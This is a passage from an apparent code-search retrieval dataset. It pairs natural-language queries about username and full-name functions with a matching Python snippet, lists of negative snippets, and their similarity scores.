(IM)'\n return name","def username(self, instance):\r\n return instance.user.username","def get_full_name(self):\n\n return self.name","def get_username(self, request):\r\n try:\r\n return request.user.username\r\n except AttributeError:\r\n return ''","def get_user_name(user: User) -> str:\n user_name = user.get(\"display_name\")\n if not user_name:\n user_name = user[\"fullname\"]\n if not user_name:\n user_name = user[\"name\"]\n return user_name","def first_name(self, instance):\r\n return instance.user.first_name","def raw_username(username):\n sitewide_domain = settings.HQ_ACCOUNT_ROOT\n username = str(username or '')\n username = username.lower()\n try:\n u, d = username.split(\"@\")\n except Exception:\n return username\n if d.endswith('.' + sitewide_domain):\n return u\n else:\n return username","def get_nice_name(self, part):\n part = os.path.basename(part)\n nice_name = part.title().replace(\"_\", \" \")\n return self.nice_name_dictionary.get(part, nice_name)","def friendly_name(self) -> Optional[str]:\n return pulumi.get(self, \"friendly_name\")","def get_short_name(self):\r\n return self.first_name","def get_username(self):\n raise NotImplementedError('get_username')","def get_full_name(self):\n return self.name #self is base and it hits name filed","def user_name(self) -> str:\n return pulumi.get(self, \"user_name\")","def render_assigned_user(self, value):\n return value.get_full_name() or value","def GetUsername(self):\n pass","def get_full_name(self):\n # The user is identified by their email address\n return self.first_name+' '+self.last_name","def username(self):\n return self.idnumber\n # if self._grade in ['6', '7', '8', '9', '10', '11', '12']:\n # return self.idnumber\n # mapping = ssis_synctree_settings[STUDENT_PSIDUSERNAME_MAPPINGS].get(self.idnumber)\n # return (self.name + self._year_of_graduation).lower().replace(' ', '').replace('-', '') if not mapping else mapping","def friendly_name(self) -> str:\n return pulumi.get(self, \"friendly_name\")","def normalize_username(value):\n return value.lower()","def get_username(self, obj):\n return obj.user.username","def get_username(self, obj):\n return obj.user.username","def get_full_name(self):\n return self.name + \" \" + self.email","def _get_full_name(self):\n if self.middle_name:\n return u'%s %s %s' % (self.first_name, self.middle_name,\n self.last_name)\n else:\n return u'%s %s' % (self.first_name, self.last_name)","def __full_name_for_user(self, username):\n\n # First check our cache of previous hits.\n if username in self.username_map:\n return self.username_map[username]\n\n # Fall back to p4gf_usermap, p4 users.\n user_3tuple = self.usermap.lookup_by_p4user(username)\n if user_3tuple:\n user = p4gf_usermap.tuple_to_P4User(user_3tuple)\n else:\n user = None\n fullname = ''\n if user:\n # remove extraneous whitespace for consistency with Git\n fullname = ' '.join(user.full_name.split())\n self.username_map[username] = fullname\n return fullname","def full_name(self):\n \tif self.first_name and self.last_name:\n \t\treturn \"{} {}\".format(self.first_name, self.last_name)","def get_full_name(self):\n\t\treturn self.email","def get_full_name(self):\n full_name = u'%s %s' % (self.first_name, self.last_name)\n return full_name.strip()","def _get_user_name(self):\n if self.runtime.get_real_user is None:\n return 'staff'\n else:\n return self.runtime.get_real_user(self.runtime.anonymous_student_id).username","def resolve_username(obj, _):\n return obj.username.decode()","def ldap_get_firstname(self, user):\n result = super(Auth42, self)._search_not_empty(user)\n if result is not None:\n firstname = result.get(\"first-name\")[0]\n return firstname\n\n return None","def username(self):\n return self._username()","def __unicode__(self):\n name = self.group.user.name or self.nickname or self.fullname or self.group.user\n return unicode(name)","def get_full_name(self):\r\n full_name = '%s %s' % (self.first_name, self.last_name)\r\n return full_name.strip()","def get_full_name(self):\r\n full_name = '%s %s' % (self.first_name, self.last_name)\r\n return full_name.strip()","def getName(self):\n return self.__username","def get_full_name(self):\n\t\tfull_name = '%s %s' % (self.first_name, self.last_name)\n\t\treturn full_name.strip()","def username(self) -> str:\n return pulumi.get(self, \"username\")","def username(self) -> str:\n return pulumi.get(self, \"username\")","def username(self) -> str:\n return pulumi.get(self, \"username\")","def get_full_name(self):\n full_name = '{0} {1} {2}'.format(self.last_name, self.first_name, self.patronymic)\n return full_name.strip()","def clean_username(self, username):\n return username.lower()","def full_name(self):\n return u\"{} {}\".format(self.pref_first_name(), self.last_name)","def user_ref_to_username(value):\n # strip the '<@' and '>'\n user_id = reference_to_id(value.group())\n user_profile = get_user_profile(user_id)\n return '@' + user_profile['name'] or user_id","def autoname(self):\n\t\tself.name = self.role_profile","def get_user_fullname(self):\n return self.applicant.userprofile.display_name()","def username(user_id):\n return UserIndex.instance().name(user_id)","def get_full_name(self):\n return self.name+self.last_name","def username(self):\n if self._username is not None:\n return self._username\n # Try to get a username from the userprofile\n try:\n self._username = self.userprofile.user.username\n except UserProfile.DoesNotExist:\n # User profile does not exist\n return None\n return self._username","def qualified_username(self):\n return self.username + '#' + self.discriminator","def get_name() -> str:","def full_name(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"full_name\")"],"string":"[\n \"def nice_name(self):\\n if self.first_name or self.last_name:\\n return \\\"%s %s\\\" % (self.first_name, self.last_name)\\n else:\\n key = \\\"profile.nice_name\\\"\\n cache_key = \\\"%s.%s.%s\\\" % (settings.SITE_CACHE_KEY, key, self.pk) \\n cached = cache.get(cache_key)\\n if cached is None:\\n cached = self.user.username\\n cache.set(cache_key, cached)\\n return cached\",\n \"def _username_from_name(self, name):\\r\\n return name.replace(' ', '_')\",\n \"def get_full_name(self):\\n return self.username\",\n \"def get_full_name(self):\\n return self.username\",\n \"def username(self) -> str:\",\n \"def username(self) -> str:\",\n \"def get_username(self):\\n full_name = '%s %s' % (self.user.first_name.strip(), self.user.last_name.strip()[0:1])\\n if len(full_name.strip()) == 0:\\n full_name = self.user.username\\n return full_name.strip()\",\n \"def get_short_name(self):\\n return f\\\"{self.first_name} {self.last_name[:1]}\\\" if self.first_name else self.username\",\n \"def get_displayname(self):\\n return self.full_name or self.user.username\",\n \"def username(self) -> undefined.UndefinedOr[str]:\",\n \"def get_short_name(self):\\n return self.username\",\n \"def get_short_name(self):\\n return self.username\",\n \"def get_short_name(self):\\n return self.username\",\n \"def get_full_name(self):\\n full_name = f'{self.first_name} {self.last_name}' if self.first_name and self.last_name else self.username\\n return full_name.strip()\",\n \"def get_full_name(self):\\n full_name = '%s %s' % (self.user.first_name.strip(), self.user.last_name.strip())\\n if len(full_name.strip()) == 0:\\n full_name = self.user.username\\n return full_name.strip()\",\n \"def test_nice_name_returns_full_namename(self):\\n\\n class User():\\n username = 'my_username'\\n\\n def get_full_name(self):\\n return 'my_full_name'\\n\\n rendered = self.render_nice_name(User())\\n\\n self.assertEquals(rendered, 'my_full_name')\",\n \"def get_user_name(self):\\n full_name = f'{self.f_name} {self.l_name}'\\n return full_name\",\n \"def generateUsername(self):\\n retval= \\\"{0}.{1}\\\".format( self.first_name.split()[0].lower(),\\n self.last_name.split()[-1].lower() )\\n \\n return toAscii(retval)\",\n \"def get_name(self):\\n user = self.user\\n name = \\\"%s %s\\\" % (user.first_name, user.last_name)\\n name = name.strip()\\n\\n return self.display_name or name or user.email or user.username\",\n \"def nice_name():\\n\\n pass\",\n \"def label_from_instance(obj):\\n if len(obj.first_name) > 0 and len(obj.last_name) > 0:\\n return \\\"{} {}\\\".format(obj.first_name, obj.last_name)\\n else:\\n return \\\"<{}>\\\".format(obj.username)\",\n \"def clean_username (self):\\n return self.instance.username\",\n \"def username(self) -> str:\\n raise NotImplementedError\",\n \"def handle_public_name(user, request):\\n\\n if not user.is_authenticated:\\n return 'Anonymous User'\\n\\n if 'ANONYMIZE' in request.COOKIES:\\n request.__dict__.setdefault('scrub_names', {})\\n request.scrub_names[user] = user.id\\n return 'User Name_%d' % user.id\\n else:\\n return (user.get_full_name() or user.username).replace('\\\"', \\\"'\\\")\",\n \"def ldap_get_fullname(self, user):\\n result = super(Auth42, self)._search_not_empty(user)\\n if result is not None:\\n fullname = (result.get(\\\"first-name\\\")[0], result.get(\\\"last-name\\\")[0])\\n return ' '.join(str(name) for name in fullname)\\n\\n return None\",\n \"def get_user_display_name(self):\\n return self.user.get_full_name() or self.user.get_username()\",\n \"def full_name(self):\\n return self.user.get_full_name() or None\",\n \"def get_name(username):\\n print(\\\"We halo \\\" + username + \\\" , piye kabare?\\\")\",\n \"def full_name(self):\\n return \\\"{} {}\\\".format(self.user.first_name, self.user.last_name)\",\n \"def second_name(self, instance):\\r\\n return instance.user.profile.second_name\",\n \"def get_username(problem_name, instance_number):\\n\\n return \\\"{}_{}\\\".format(sanitize_name(problem_name), instance_number)\",\n \"def get_name(self):\\n return self.user.username if self.user.username else self.user.email\",\n \"def full_name(self, obj: User) -> str:\\n return obj.get_full_name()\",\n \"def getUsername(self):\\n\\t\\treturn self.Username.lower()\",\n \"def display_name(self) -> str:\\n return self.requester.username\",\n \"def __find_username_field_via_name(self, inputs):\\n for input in inputs:\\n for n in ('name', 'login', 'user', 'mail'):\\n if n in input.attrs['name'].lower():\\n return input.attrs['name']\\n return None\",\n \"def get_full_name(self):\\n full_name = '%s %s' % (self.first_name, self.last_name)\\n return full_name.strip()\",\n \"def full_name_short(self):\\n return \\\"{}. {}\\\".format(str(self.user.first_name)[:1], self.user.last_name)\",\n \"def get_username(self):\\r\\n raise NotImplementedError\",\n \"def get_full_name(self):\\r\\n full_name = '%s' % (self.name)\\r\\n return full_name.strip()\",\n \"def combine_name(self):\\n if self.first_name.isalpha() and self.last_name.isalpha():\\n username = self.first_name + \\\" \\\" + self.last_name\\n return username\\n return 'Names must be alphabets'\",\n \"def usernameFind(self):\\r\\n return self.username()\",\n \"def full_name(self) -> Optional[str]:\\n return pulumi.get(self, \\\"full_name\\\")\",\n \"def get_name(self) :\\n\\n return self.factory.to_user_name(self.name)\",\n \"def get_username(self):\\n return str(getattr(self, self.USERNAME_FIELD))\",\n \"def nice_username(email):\\n clean_email = re.sub(r'\\\\W', '', email.replace('@', '_')).lower()\\n hash = b32encode(sha1(email + str(random.random())).digest()).strip('=').lower()\\n return u'%s_%s' % (clean_email[:20], hash[:6])\",\n \"def username(self, inst):\\r\\n return inst.user.username\",\n \"def get_short_name(self):\\n # The user is identified by their email address\\n return self.first_name\",\n \"def __str__(self) -> str:\\n return self.name or self.username\",\n \"def get_display_name(member):\\n if member.nick is None:\\n name = member.name\\n else:\\n name = member.nick\\n if User.objects.get(id=member.id).is_ironman:\\n name += ' (IM)'\\n return name\",\n \"def username(self, instance):\\r\\n return instance.user.username\",\n \"def get_full_name(self):\\n\\n return self.name\",\n \"def get_username(self, request):\\r\\n try:\\r\\n return request.user.username\\r\\n except AttributeError:\\r\\n return ''\",\n \"def get_user_name(user: User) -> str:\\n user_name = user.get(\\\"display_name\\\")\\n if not user_name:\\n user_name = user[\\\"fullname\\\"]\\n if not user_name:\\n user_name = user[\\\"name\\\"]\\n return user_name\",\n \"def first_name(self, instance):\\r\\n return instance.user.first_name\",\n \"def raw_username(username):\\n sitewide_domain = settings.HQ_ACCOUNT_ROOT\\n username = str(username or '')\\n username = username.lower()\\n try:\\n u, d = username.split(\\\"@\\\")\\n except Exception:\\n return username\\n if d.endswith('.' + sitewide_domain):\\n return u\\n else:\\n return username\",\n \"def get_nice_name(self, part):\\n part = os.path.basename(part)\\n nice_name = part.title().replace(\\\"_\\\", \\\" \\\")\\n return self.nice_name_dictionary.get(part, nice_name)\",\n \"def friendly_name(self) -> Optional[str]:\\n return pulumi.get(self, \\\"friendly_name\\\")\",\n \"def get_short_name(self):\\r\\n return self.first_name\",\n \"def get_username(self):\\n raise NotImplementedError('get_username')\",\n \"def get_full_name(self):\\n return self.name #self is base and it hits name filed\",\n \"def user_name(self) -> str:\\n return pulumi.get(self, \\\"user_name\\\")\",\n \"def render_assigned_user(self, value):\\n return value.get_full_name() or value\",\n \"def GetUsername(self):\\n pass\",\n \"def get_full_name(self):\\n # The user is identified by their email address\\n return self.first_name+' '+self.last_name\",\n \"def username(self):\\n return self.idnumber\\n # if self._grade in ['6', '7', '8', '9', '10', '11', '12']:\\n # return self.idnumber\\n # mapping = ssis_synctree_settings[STUDENT_PSIDUSERNAME_MAPPINGS].get(self.idnumber)\\n # return (self.name + self._year_of_graduation).lower().replace(' ', '').replace('-', '') if not mapping else mapping\",\n \"def friendly_name(self) -> str:\\n return pulumi.get(self, \\\"friendly_name\\\")\",\n \"def normalize_username(value):\\n return value.lower()\",\n \"def get_username(self, obj):\\n return obj.user.username\",\n \"def get_username(self, obj):\\n return obj.user.username\",\n \"def get_full_name(self):\\n return self.name + \\\" \\\" + self.email\",\n \"def _get_full_name(self):\\n if self.middle_name:\\n return u'%s %s %s' % (self.first_name, self.middle_name,\\n self.last_name)\\n else:\\n return u'%s %s' % (self.first_name, self.last_name)\",\n \"def __full_name_for_user(self, username):\\n\\n # First check our cache of previous hits.\\n if username in self.username_map:\\n return self.username_map[username]\\n\\n # Fall back to p4gf_usermap, p4 users.\\n user_3tuple = self.usermap.lookup_by_p4user(username)\\n if user_3tuple:\\n user = p4gf_usermap.tuple_to_P4User(user_3tuple)\\n else:\\n user = None\\n fullname = ''\\n if user:\\n # remove extraneous whitespace for consistency with Git\\n fullname = ' '.join(user.full_name.split())\\n self.username_map[username] = fullname\\n return fullname\",\n \"def full_name(self):\\n \\tif self.first_name and self.last_name:\\n \\t\\treturn \\\"{} {}\\\".format(self.first_name, self.last_name)\",\n \"def get_full_name(self):\\n\\t\\treturn self.email\",\n \"def get_full_name(self):\\n full_name = u'%s %s' % (self.first_name, self.last_name)\\n return full_name.strip()\",\n \"def _get_user_name(self):\\n if self.runtime.get_real_user is None:\\n return 'staff'\\n else:\\n return self.runtime.get_real_user(self.runtime.anonymous_student_id).username\",\n \"def resolve_username(obj, _):\\n return obj.username.decode()\",\n \"def ldap_get_firstname(self, user):\\n result = super(Auth42, self)._search_not_empty(user)\\n if result is not None:\\n firstname = result.get(\\\"first-name\\\")[0]\\n return firstname\\n\\n return None\",\n \"def username(self):\\n return self._username()\",\n \"def __unicode__(self):\\n name = self.group.user.name or self.nickname or self.fullname or self.group.user\\n return unicode(name)\",\n \"def get_full_name(self):\\r\\n full_name = '%s %s' % (self.first_name, self.last_name)\\r\\n return full_name.strip()\",\n \"def get_full_name(self):\\r\\n full_name = '%s %s' % (self.first_name, self.last_name)\\r\\n return full_name.strip()\",\n \"def getName(self):\\n return self.__username\",\n \"def get_full_name(self):\\n\\t\\tfull_name = '%s %s' % (self.first_name, self.last_name)\\n\\t\\treturn full_name.strip()\",\n \"def username(self) -> str:\\n return pulumi.get(self, \\\"username\\\")\",\n \"def username(self) -> str:\\n return pulumi.get(self, \\\"username\\\")\",\n \"def username(self) -> str:\\n return pulumi.get(self, \\\"username\\\")\",\n \"def get_full_name(self):\\n full_name = '{0} {1} {2}'.format(self.last_name, self.first_name, self.patronymic)\\n return full_name.strip()\",\n \"def clean_username(self, username):\\n return username.lower()\",\n \"def full_name(self):\\n return u\\\"{} {}\\\".format(self.pref_first_name(), self.last_name)\",\n \"def user_ref_to_username(value):\\n # strip the '<@' and '>'\\n user_id = reference_to_id(value.group())\\n user_profile = get_user_profile(user_id)\\n return '@' + user_profile['name'] or user_id\",\n \"def autoname(self):\\n\\t\\tself.name = self.role_profile\",\n \"def get_user_fullname(self):\\n return self.applicant.userprofile.display_name()\",\n \"def username(user_id):\\n return UserIndex.instance().name(user_id)\",\n \"def get_full_name(self):\\n return self.name+self.last_name\",\n \"def username(self):\\n if self._username is not None:\\n return self._username\\n # Try to get a username from the userprofile\\n try:\\n self._username = self.userprofile.user.username\\n except UserProfile.DoesNotExist:\\n # User profile does not exist\\n return None\\n return self._username\",\n \"def qualified_username(self):\\n return self.username + '#' + self.discriminator\",\n \"def get_name() -> str:\",\n \"def full_name(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"full_name\\\")\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.75342166","0.73341274","0.7307055","0.7307055","0.7300437","0.7300437","0.72588587","0.7255315","0.7189447","0.7167019","0.71295244","0.71295244","0.71295244","0.7097332","0.70863456","0.70732045","0.7000764","0.69829106","0.69238865","0.6918486","0.69040084","0.6895128","0.6866983","0.684702","0.6846003","0.6823926","0.6771629","0.670287","0.6693635","0.6679865","0.6670198","0.6669005","0.6640499","0.66348284","0.6629002","0.6628817","0.6627643","0.6618061","0.6609011","0.6577118","0.65747654","0.6574179","0.65606564","0.6558294","0.6552331","0.65476316","0.6540405","0.65327805","0.6529444","0.6524639","0.65212655","0.65184486","0.6518173","0.65137273","0.6494021","0.64643466","0.6462833","0.6453548","0.6452357","0.64517176","0.64387876","0.6437663","0.6436904","0.6421513","0.6417118","0.64136326","0.6408766","0.6403442","0.64027154","0.64027154","0.64012706","0.639289","0.63843566","0.63798565","0.63683176","0.63654035","0.636473","0.6364415","0.63582194","0.6348409","0.6341871","0.63395506","0.63395506","0.6338626","0.631756","0.63127404","0.63127404","0.63127404","0.6305351","0.63031566","0.63017046","0.63008726","0.62983614","0.628158","0.62802494","0.6275135","0.6274726","0.6264035","0.62625974","0.62617725"],"string":"[\n \"0.75342166\",\n \"0.73341274\",\n \"0.7307055\",\n \"0.7307055\",\n \"0.7300437\",\n \"0.7300437\",\n \"0.72588587\",\n \"0.7255315\",\n \"0.7189447\",\n \"0.7167019\",\n \"0.71295244\",\n \"0.71295244\",\n \"0.71295244\",\n \"0.7097332\",\n \"0.70863456\",\n \"0.70732045\",\n \"0.7000764\",\n \"0.69829106\",\n \"0.69238865\",\n \"0.6918486\",\n \"0.69040084\",\n \"0.6895128\",\n \"0.6866983\",\n \"0.684702\",\n \"0.6846003\",\n \"0.6823926\",\n \"0.6771629\",\n \"0.670287\",\n \"0.6693635\",\n \"0.6679865\",\n \"0.6670198\",\n \"0.6669005\",\n \"0.6640499\",\n \"0.66348284\",\n \"0.6629002\",\n \"0.6628817\",\n \"0.6627643\",\n \"0.6618061\",\n \"0.6609011\",\n \"0.6577118\",\n \"0.65747654\",\n \"0.6574179\",\n \"0.65606564\",\n \"0.6558294\",\n \"0.6552331\",\n \"0.65476316\",\n \"0.6540405\",\n \"0.65327805\",\n \"0.6529444\",\n \"0.6524639\",\n \"0.65212655\",\n \"0.65184486\",\n \"0.6518173\",\n \"0.65137273\",\n \"0.6494021\",\n \"0.64643466\",\n \"0.6462833\",\n \"0.6453548\",\n \"0.6452357\",\n \"0.64517176\",\n \"0.64387876\",\n \"0.6437663\",\n \"0.6436904\",\n \"0.6421513\",\n \"0.6417118\",\n \"0.64136326\",\n \"0.6408766\",\n \"0.6403442\",\n \"0.64027154\",\n \"0.64027154\",\n \"0.64012706\",\n \"0.639289\",\n \"0.63843566\",\n \"0.63798565\",\n \"0.63683176\",\n \"0.63654035\",\n \"0.636473\",\n \"0.6364415\",\n \"0.63582194\",\n \"0.6348409\",\n \"0.6341871\",\n \"0.63395506\",\n \"0.63395506\",\n \"0.6338626\",\n \"0.631756\",\n \"0.63127404\",\n \"0.63127404\",\n \"0.63127404\",\n \"0.6305351\",\n \"0.63031566\",\n \"0.63017046\",\n \"0.63008726\",\n \"0.62983614\",\n \"0.628158\",\n \"0.62802494\",\n \"0.6275135\",\n \"0.6274726\",\n \"0.6264035\",\n \"0.62625974\",\n \"0.62617725\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7638717"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":15388,"cells":{"query":{"kind":"string","value":"nice_name tag returns the full name when is available"},"document":{"kind":"string","value":"def test_nice_name_returns_full_namename(self):\n\n class User():\n username = 'my_username'\n\n def get_full_name(self):\n return 'my_full_name'\n\n rendered = self.render_nice_name(User())\n\n self.assertEquals(rendered, 'my_full_name')"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def nice_name():\n\n pass","def test_nice_name_returns_username(self):\n\n class UserNoName():\n username = 'my_username'\n\n def get_full_name(self):\n return None\n\n rendered = self.render_nice_name(UserNoName())\n\n self.assertEquals(rendered, 'my_username')","def get_nice_name(self, part):\n part = os.path.basename(part)\n nice_name = part.title().replace(\"_\", \" \")\n return self.nice_name_dictionary.get(part, nice_name)","def get_name() -> str:","def nice_name(self):\n if self.first_name or self.last_name:\n return \"%s %s\" % (self.first_name, self.last_name)\n else:\n key = \"profile.nice_name\"\n cache_key = \"%s.%s.%s\" % (settings.SITE_CACHE_KEY, key, self.pk) \n cached = cache.get(cache_key)\n if cached is None:\n cached = self.user.username\n cache.set(cache_key, cached)\n return cached","def get_name():","def get_name_tag(obj):\n if 'Name' in obj.tags:\n return obj.tags['Name']\n else:\n return \"\"","def friendly_name(self) -> str:\n return pulumi.get(self, \"friendly_name\")","def full_name(self) -> str:\n # return self.separator.join(map(lambda x: x.name, self.path()))\n return self.separator.join(map(lambda x: x.tagged_name, self.path()))","def get_full_name(self):\n return self.name #self is base and it hits name filed","def get_full_name(self):\r\n full_name = '%s' % (self.name)\r\n return full_name.strip()","def get_name_tag(obj):\n if 'Name' in obj.tags:\n return obj.tags['Name']\n else:\n return \"\"","def get_full_name(self):\n\n return self.name","def get_name() -> str:\n pass","def print_name(nome, sobrenome):\r\n return nome + \" \" + sobrenome","def getName():","def getName():","def getName():","def getName():","def getName():","def getName():","def full_name(self) -> Optional[str]:\n return pulumi.get(self, \"full_name\")","def friendly_name(self) -> Optional[str]:\n return pulumi.get(self, \"friendly_name\")","def display_name(self):","def name(self) -> str:","def name(self) -> str:","def name(self) -> str:","def name(self) -> str:","def name(self) -> str:","def display_name(cls):\n return cls.name.replace('_', ' ').title()","def format_name(self) -> str:\n return self.name","def get_name():\n return \"Boss\"","def full_name(self) -> pulumi.Output[str]:\n return pulumi.get(self, \"full_name\")","def friendly_name(self) -> pulumi.Output[Optional[str]]:\n return pulumi.get(self, \"friendly_name\")","def getName(self):\n return \"\"","def get_short_name(self):\n return f\"{self.first_name} {self.last_name[:1]}\" if self.first_name else self.username","def get_name(self) -> str:\n pass","def short_name(value):\n parts = value.split()\n return \"{} {}.\".format(parts[0].capitalize(), parts[1][0].upper()) if (len(parts) > 1 and len(parts[1]) > 1) else value.capitalize()","def Name(self) -> str:","def Name(self) -> str:","def Name(self) -> str:","def Name(self) -> str:","def get_real_name(self):\n return self.get_display_name()","def short_name(self) -> str:\r\n\t\treturn f'{self.last_name} {self.first_name}'","def get_full_name(self):\n return self.name","def get_full_name(self):\n return self.name","def get_full_name(self):\n return self.name","def get_full_name(self):\n return self.name","def get_full_name(self):\n return self.name","def name(self) -> str: # pragma: no cover","def full_name(self) -> str:\n return self._name","def format_name(self):\n\t\tself.full_name = self.first + \" \" + self.last","def getname(self, full: bool = False) -> str:\n return self.name_full if full else self.name","def get_name(self):\r\n return ('%s %s' % ( self.first_name, self.last_name ))","def get_name(self):\n return self.normalize_name(self.name)","def get_short_name(self):\r\n return self.first_name","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def display_name(self) -> str:\n return pulumi.get(self, \"display_name\")","def get_fulll_name(self):\n return self.name","def get_displayname(self):\n return self.full_name or self.user.username","def name(self):\n\n if not hasattr(self, \"_name\"):\n name = Doc.get_text(self.doc.find(\"PreferredName\", \"\"))\n self._name = name.strip()\n return self._name","def get_name(self):","def get_name(self):","def name() -> str:\n pass","def get_short_name(self) -> str:\n return self.first_name","def niceName(self, path):\n logger.debug(\"Func: niceName\")\n\n basename = os.path.split(path)[1]\n return os.path.splitext(basename)[0]","def _username_from_name(self, name):\r\n return name.replace(' ', '_')","def name(self):\n if self.attrs.get('Name') is not None:\n return self.attrs['Name'].lstrip('/')","def label_from_instance(obj):\n if len(obj.first_name) > 0 and len(obj.last_name) > 0:\n return \"{} {}\".format(obj.first_name, obj.last_name)\n else:\n return \"<{}>\".format(obj.username)","def get_short_name(self):\n\n return self.name","def name(self) -> str:\n return self.get_full_name()","def get_full_name_with_academic_title(self) -> str:\n base_name = super().get_full_name()\n return f'{self.title} {base_name}' if self.title else base_name","def friendly_name(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"friendly_name\")","def friendly_name(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"friendly_name\")","def friendly_name(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"friendly_name\")","def generateUsername(self):\n retval= \"{0}.{1}\".format( self.first_name.split()[0].lower(),\n self.last_name.split()[-1].lower() )\n \n return toAscii(retval)","def get_display_name(member):\n if member.nick is None:\n name = member.name\n else:\n name = member.nick\n if User.objects.get(id=member.id).is_ironman:\n name += ' (IM)'\n return name","def get_name(self) :\n\n return self.factory.to_user_name(self.name)","def get_short_name(self):\n return self.username","def get_short_name(self):\n return self.username","def get_short_name(self):\n return self.username","def get_full_name(self):\n full_name = '%s %s' % (self.first_name, self.last_name)\n return full_name.strip()","def _name (self, incAggr = True):\n\t\taggrName = \"@%s\" % self.aggr if self.aggr and incAggr else \"\"\n\t\ttag = \".%s\" % self.tag if self.tag != \"notag\" else \"\"\n\t\treturn \"%s%s%s\" % (self.id, tag, aggrName)","def get_name(self) -> str:\r\n return self.name","def name(self):\n return f\"{self._name.replace('_', ' ')}\".title()","def printname(bruce):","def get_name(self):\n pass","def get_name(self):\n pass","def get_user_name(self):\n full_name = f'{self.f_name} {self.l_name}'\n return full_name","def second_name(self, instance):\r\n return instance.user.profile.second_name"],"string":"[\n \"def nice_name():\\n\\n pass\",\n \"def test_nice_name_returns_username(self):\\n\\n class UserNoName():\\n username = 'my_username'\\n\\n def get_full_name(self):\\n return None\\n\\n rendered = self.render_nice_name(UserNoName())\\n\\n self.assertEquals(rendered, 'my_username')\",\n \"def get_nice_name(self, part):\\n part = os.path.basename(part)\\n nice_name = part.title().replace(\\\"_\\\", \\\" \\\")\\n return self.nice_name_dictionary.get(part, nice_name)\",\n \"def get_name() -> str:\",\n \"def nice_name(self):\\n if self.first_name or self.last_name:\\n return \\\"%s %s\\\" % (self.first_name, self.last_name)\\n else:\\n key = \\\"profile.nice_name\\\"\\n cache_key = \\\"%s.%s.%s\\\" % (settings.SITE_CACHE_KEY, key, self.pk) \\n cached = cache.get(cache_key)\\n if cached is None:\\n cached = self.user.username\\n cache.set(cache_key, cached)\\n return cached\",\n \"def get_name():\",\n \"def get_name_tag(obj):\\n if 'Name' in obj.tags:\\n return obj.tags['Name']\\n else:\\n return \\\"\\\"\",\n \"def friendly_name(self) -> str:\\n return pulumi.get(self, \\\"friendly_name\\\")\",\n \"def full_name(self) -> str:\\n # return self.separator.join(map(lambda x: x.name, self.path()))\\n return self.separator.join(map(lambda x: x.tagged_name, self.path()))\",\n \"def get_full_name(self):\\n return self.name #self is base and it hits name filed\",\n \"def get_full_name(self):\\r\\n full_name = '%s' % (self.name)\\r\\n return full_name.strip()\",\n \"def get_name_tag(obj):\\n if 'Name' in obj.tags:\\n return obj.tags['Name']\\n else:\\n return \\\"\\\"\",\n \"def get_full_name(self):\\n\\n return self.name\",\n \"def get_name() -> str:\\n pass\",\n \"def print_name(nome, sobrenome):\\r\\n return nome + \\\" \\\" + sobrenome\",\n \"def getName():\",\n \"def getName():\",\n \"def getName():\",\n \"def getName():\",\n \"def getName():\",\n \"def getName():\",\n \"def full_name(self) -> Optional[str]:\\n return pulumi.get(self, \\\"full_name\\\")\",\n \"def friendly_name(self) -> Optional[str]:\\n return pulumi.get(self, \\\"friendly_name\\\")\",\n \"def display_name(self):\",\n \"def name(self) -> str:\",\n \"def name(self) -> str:\",\n \"def name(self) -> str:\",\n \"def name(self) -> str:\",\n \"def name(self) -> str:\",\n \"def display_name(cls):\\n return cls.name.replace('_', ' ').title()\",\n \"def format_name(self) -> str:\\n return self.name\",\n \"def get_name():\\n return \\\"Boss\\\"\",\n \"def full_name(self) -> pulumi.Output[str]:\\n return pulumi.get(self, \\\"full_name\\\")\",\n \"def friendly_name(self) -> pulumi.Output[Optional[str]]:\\n return pulumi.get(self, \\\"friendly_name\\\")\",\n \"def getName(self):\\n return \\\"\\\"\",\n \"def get_short_name(self):\\n return f\\\"{self.first_name} {self.last_name[:1]}\\\" if self.first_name else self.username\",\n \"def get_name(self) -> str:\\n pass\",\n \"def short_name(value):\\n parts = value.split()\\n return \\\"{} {}.\\\".format(parts[0].capitalize(), parts[1][0].upper()) if (len(parts) > 1 and len(parts[1]) > 1) else value.capitalize()\",\n \"def Name(self) -> str:\",\n \"def Name(self) -> str:\",\n \"def Name(self) -> str:\",\n \"def Name(self) -> str:\",\n \"def get_real_name(self):\\n return self.get_display_name()\",\n \"def short_name(self) -> str:\\r\\n\\t\\treturn f'{self.last_name} {self.first_name}'\",\n \"def get_full_name(self):\\n return self.name\",\n \"def get_full_name(self):\\n return self.name\",\n \"def get_full_name(self):\\n return self.name\",\n \"def get_full_name(self):\\n return self.name\",\n \"def get_full_name(self):\\n return self.name\",\n \"def name(self) -> str: # pragma: no cover\",\n \"def full_name(self) -> str:\\n return self._name\",\n \"def format_name(self):\\n\\t\\tself.full_name = self.first + \\\" \\\" + self.last\",\n \"def getname(self, full: bool = False) -> str:\\n return self.name_full if full else self.name\",\n \"def get_name(self):\\r\\n return ('%s %s' % ( self.first_name, self.last_name ))\",\n \"def get_name(self):\\n return self.normalize_name(self.name)\",\n \"def get_short_name(self):\\r\\n return self.first_name\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return 